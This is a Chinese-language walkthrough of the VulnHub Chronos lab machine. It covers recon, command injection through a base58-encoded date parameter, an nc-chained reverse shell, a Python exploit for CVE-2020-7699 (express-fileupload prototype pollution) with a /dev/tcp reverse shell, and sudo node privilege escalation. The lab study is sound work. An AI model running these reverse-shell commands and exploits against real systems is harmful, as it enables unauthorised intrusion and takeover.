0x03-VulnHub靶机-Chronos

环境

0x03

靶机地址:https://www.vulnhub.com/entry/chronos-1,735/

靶机用VMware打不开

难度 中

几个符号的区别https://blog.csdn.net/weixin_45459224/article/details/103992087

内容

  • js代码混淆还原
  • 编码解码 https://gchq.github.io/CyberChef/
  • 命令注入 反弹shell
  • nc串联
  • 代码审计
  • 框架漏洞(搜利用代码)

操作

信息收集

常规的主机扫描 端口扫描

nmap -Pn -sT -p80,8000 -sV 192.168.3.92

image-20240229171841946

去访问看看 再扫扫目录

发现个这个 文件遍历 但是没有什么利用的

再看看80的源码 发现有一段js代码 拉出来看 发现是被混淆过的 用这个网站 https://gchq.github.io/CyberChef/ 去还原一下

image-20240229202827358

发现了一个可疑的url地址 http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL 直接访问是看不到东西的 想到修改host文件 域名就可以解析了 有些东西就会出来

image-20240229203300407

再次去访问 http://192.168.3.92/ (我谷歌浏览器不显示下面的 火狐可以 )

去访问 http://192.168.3.92:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

image-20240229204852767

发生了变化 用burp抓包看看

image-20240229211625371

这个包也会显示时间那些东西

image-20240229211647857

有点像kali里面的 date

image-20240229205500688

先把format参数后面这段加密的解密出来 base58加密 还是用到上面的那个网站

image-20240229205730356

'+Today is %A, %B %d, %Y %H:%M:%S.' 再结合上面页面的图片 进一步确认是使用了 date命令

image-20240229205818485

我们可以用到 linux语法拼接去执行我们想要去执行的命令

'+Today is %A, %B %d, %Y %H:%M:%S.' | ls 再去进行 base58 encode

真的可以执行命令!

image-20240229211933436

渗透

nc串联

这个时候就可以去反弹shell了 先用命令可看有没有nc &&ls /bin (搞这里的时候 不知道上面毛病 发包卡 后面好了)

image-20240229215233827

再试试nc 可不可以用 然后-e参数行不行 (其实也可以直接一步到胃

&& nc 192.168.3.87 4444 | /bin/bash | nc 192.168.3.87 5555 (&&跟|差不多

image-20240229214812464
image-20240229214740211

代码审计

(其实还有个看看有什么用户的 ) cat /etc/passwd 有/bin/bash的

这个时候我们拿到了个shell了

find / -perm -u=s -type f 2>/dev/null 没发现什么可以利用的suid

sudo -l uname -a 都不好利用提权

这个时候 我们就去翻翻源码 看能不能找到什么别的东西

这是一套由nodejs搭建的网站

​ 看到 app.js 其实他是做了检测的 但是没有后续别的操作了

image-20240229220519189

package.json里面可以看到所使用的库

image-20240229220629540

还看到了一个chronos-v2 也可以去看看

image-20240229221342811

发现 backend后端 frontend 前端

image-20240229222925499

翻到一个上传的点 搭载他服务器的本地的 所以访问不到。

image-20240229223413819

而package.json中多了一个模块,express-fileupload

image-20240229223542506

通过搜索引擎,发现node.js有一个“原型污染“的漏洞,漏洞编号CVE-2020-7699,而这个漏洞的要求是”parseNested”特征为ture,靶机刚好满足这个要求,那么寻找exp

根据实际情况修改修改 (py脚本)

import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.3.87/1234 0>&1"'
#pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
#execute command

requests.get('http://127.0.0.1:8080')

再wget下载到本地 wget http://192.168.3.87:8000/shell1.py 下到tmp目录

然后执行(python3)

image-20240229230753857

拿到了另外一个用户

提权

拿到home目录下 imera账号里面的flag

image-20240229230902703

还不是root 试图提到root node有sudo权限

image-20240229231021648

去找利用代码

sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

image-20240229231158965

拿到root

总结

每次打靶都会遇到一两点莫名其妙的卡住 操作一样就是复现不了

有的时候常规的提权没思路了 可以去翻翻代码看看 如数据库配置 功能代码 看看能不能进一步利用